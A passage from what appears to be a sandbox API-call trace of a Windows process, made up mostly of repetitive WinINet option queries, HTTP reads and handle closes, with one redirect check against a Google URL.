hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.282] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.284] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1, lpBuffer=0x3f3f3e0, lpdwBufferLength=0x3f3f3d8 | out: lpBuffer=0x3f3f3e0, lpdwBufferLength=0x3f3f3d8) returned 1 [0183.284] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2d, lpBuffer=0x3f3f374, lpdwBufferLength=0x3f3f37c, lpdwIndex=0x3f3f380*=0x0 | out: lpBuffer=0x3f3f374*, lpdwBufferLength=0x3f3f37c*=0x3, lpdwIndex=0x3f3f380*=0x0) returned 1 [0183.284] StrStrIA (lpFirst="https://www.google.com/?gws_rd=ssl", lpSrch="https://") returned="https://www.google.com/?gws_rd=ssl" [0183.284] lstrlenA (lpString="https://www.google.com/?gws_rd=ssl") returned 34 [0183.284] StrStrIA (lpFirst="https://www.google.com/?gws_rd=ssl", lpSrch="http://") returned 0x0 [0183.284] StrStrIA (lpFirst="https://www.google.com/?gws_rd=ssl", lpSrch="https://") returned="https://www.google.com/?gws_rd=ssl" [0183.284] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274f310 [0183.284] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0183.284] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1c, lpBuffer=0x274f310, lpdwBufferLength=0x3f3f3a8 | out: lpBuffer=0x274f310, lpdwBufferLength=0x3f3f3a8) returned 1 [0183.284] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0183.284] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0183.284] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc | out: lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc) returned 1 [0183.284] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc | out: lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc) returned 1 [0183.284] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f3f8, lpdwBufferLength=0x3f3f3fc | out: lpBuffer=0x3f3f3f8, lpdwBufferLength=0x3f3f3fc) returned 1 [0183.290] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f600, lpdwBufferLength=0x3f3f5fc | out: lpBuffer=0x3f3f600, lpdwBufferLength=0x3f3f5fc) returned 1 [0183.290] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f600, lpdwBufferLength=0x3f3f5fc | out: lpBuffer=0x3f3f600, lpdwBufferLength=0x3f3f5fc) returned 1 [0183.290] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5fc | out: lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5fc) returned 1 [0183.291] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f054, lpdwBufferLength=0x3f3f050 | out: lpBuffer=0x3f3f054, lpdwBufferLength=0x3f3f050) returned 1 [0183.291] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f054, lpdwBufferLength=0x3f3f050 | out: lpBuffer=0x3f3f054, lpdwBufferLength=0x3f3f050) returned 1 [0183.291] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f04c, lpdwBufferLength=0x3f3f050 | out: lpBuffer=0x3f3f04c, lpdwBufferLength=0x3f3f050) returned 1 [0183.312] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.312] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.312] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5f0, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f0, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.684] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500) returned 1 [0183.684] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500) returned 1 [0183.684] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f4fc, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f4fc, lpdwBufferLength=0x3f3f500) returned 1 [0183.686] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500) returned 1 [0183.686] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500) returned 1 [0183.686] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f4fc, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f4fc, lpdwBufferLength=0x3f3f500) returned 1 [0183.686] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500) returned 1 [0183.686] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f504, lpdwBufferLength=0x3f3f500) returned 1 [0183.686] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f4fc, lpdwBufferLength=0x3f3f500 | out: lpBuffer=0x3f3f4fc, lpdwBufferLength=0x3f3f500) returned 1 [0183.782] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f674, lpdwBufferLength=0x3f3f670 | out: lpBuffer=0x3f3f674, lpdwBufferLength=0x3f3f670) returned 1 [0183.782] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f674, lpdwBufferLength=0x3f3f670 | out: lpBuffer=0x3f3f674, lpdwBufferLength=0x3f3f670) returned 1 [0183.782] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f66c, lpdwBufferLength=0x3f3f670 | out: lpBuffer=0x3f3f66c, lpdwBufferLength=0x3f3f670) returned 1 [0183.783] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.783] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.783] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.787] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.787] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.787] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.789] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f6ec, lpdwBufferLength=0x3f3f6e8 | out: lpBuffer=0x3f3f6ec, lpdwBufferLength=0x3f3f6e8) returned 1 [0183.789] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f6ec, lpdwBufferLength=0x3f3f6e8 | out: lpBuffer=0x3f3f6ec, lpdwBufferLength=0x3f3f6e8) returned 1 [0183.789] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f6e4, lpdwBufferLength=0x3f3f6e8 | out: lpBuffer=0x3f3f6e4, lpdwBufferLength=0x3f3f6e8) returned 1 [0722.632] SetEvent (hEvent=0x684) returned 1 [0722.632] SetEvent (hEvent=0x928) returned 1 Thread: id = 113 os_tid = 0x854 Thread: id = 195 os_tid = 0x828 Thread: id = 196 os_tid = 0x834 Thread: id = 197 os_tid = 0x440 Thread: id = 224 os_tid = 0x920 Thread: id = 432 os_tid = 0x31c [0184.086] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.086] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404) returned 1 [0184.141] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574) returned 1 [0184.141] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574) returned 1 [0184.141] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff570, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff570, lpdwBufferLength=0x57ff574) returned 1 [0184.148] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec) returned 1 [0184.148] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec) returned 1 [0184.148] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff5e8, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5e8, lpdwBufferLength=0x57ff5ec) returned 1 [0184.148] InternetReadFileExW (in: hFile=0xcc0020, lpBuffersOut=0x5882a78, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x5882a78*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x588f4cc*, dwBufferLength=0x405, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.151] InternetReadFileExW (in: hFile=0xcc0020, lpBuffersOut=0x5882a78, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x5882a78*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x588f8d1*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.151] InternetReadFileExW (in: hFile=0xcc0020, lpBuffersOut=0x5882a78, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x5882a78*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x588fe4a*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.151] InternetReadFileExW (in: hFile=0xcc0020, lpBuffersOut=0x5882a78, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x5882a78*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x58903c3*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.152] InternetReadFileExW (in: hFile=0xcc0020, lpBuffersOut=0x5882a78, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x5882a78*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x589093c*, dwBufferLength=0xfa, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.152] InternetReadFileExW (in: hFile=0xcc0020, lpBuffersOut=0x5882a78, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x5882a78*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5890a36*, dwBufferLength=0x0, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.185] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.185] InternetQueryOptionA (in: hInternet=0xcc0024, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.185] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0024, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0024, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0024, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.186] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404) returned 1 [0184.208] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.209] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.209] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500) returned 1 [0184.209] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57fef58, lpdwBufferLength=0x57fef54 | out: lpBuffer=0x57fef58, lpdwBufferLength=0x57fef54) returned 1 [0184.209] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57fef58, lpdwBufferLength=0x57fef54 | out: lpBuffer=0x57fef58, lpdwBufferLength=0x57fef54) returned 1 [0184.209] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57fef50, lpdwBufferLength=0x57fef54 | out: lpBuffer=0x57fef50, lpdwBufferLength=0x57fef54) returned 1 [0184.234] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff4f8 | out: lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff4f8) returned 1 [0184.234] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff4f8 | out: lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff4f8) returned 1 [0184.234] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff4f4, lpdwBufferLength=0x57ff4f8 | out: lpBuffer=0x57ff4f4, lpdwBufferLength=0x57ff4f8) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.279] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404) returned 1 [0184.312] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574) returned 1 [0184.312] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574) returned 1 [0184.312] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff570, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff570, lpdwBufferLength=0x57ff574) returned 1 [0184.315] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc | out: lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc) returned 1 [0184.315] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc | out: lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc) returned 1 [0184.315] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff4c8, lpdwBufferLength=0x57ff4cc | out: lpBuffer=0x57ff4c8, lpdwBufferLength=0x57ff4cc) returned 1 [0184.315] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec) returned 1 [0184.315] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec) returned 1 [0184.315] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff5e8, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5e8, lpdwBufferLength=0x57ff5ec) returned 1 [0184.315] InternetCloseHandle (hInternet=0xcc0030) returned 1 [0184.315] InternetCloseHandle (hInternet=0xcc002c) returned 1 [0184.373] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x57ff568, lpdwBufferLength=0x57ff564 | out: lpBuffer=0x57ff568, lpdwBufferLength=0x57ff564) returned 0 [0184.493] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.493] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff504, lpdwBufferLength=0x57ff500) returned 1 [0184.493] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500 | out: lpBuffer=0x57ff4fc, lpdwBufferLength=0x57ff500) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff37c, lpdwBufferLength=0x57ff378) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378 | out: lpBuffer=0x57ff374, lpdwBufferLength=0x57ff378) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff408, lpdwBufferLength=0x57ff404) returned 1 [0184.494] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404 | out: lpBuffer=0x57ff400, lpdwBufferLength=0x57ff404) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff578, lpdwBufferLength=0x57ff574) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff570, lpdwBufferLength=0x57ff574 | out: lpBuffer=0x57ff570, lpdwBufferLength=0x57ff574) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc | out: lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc | out: lpBuffer=0x57ff4d0, lpdwBufferLength=0x57ff4cc) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff4c8, lpdwBufferLength=0x57ff4cc | out: 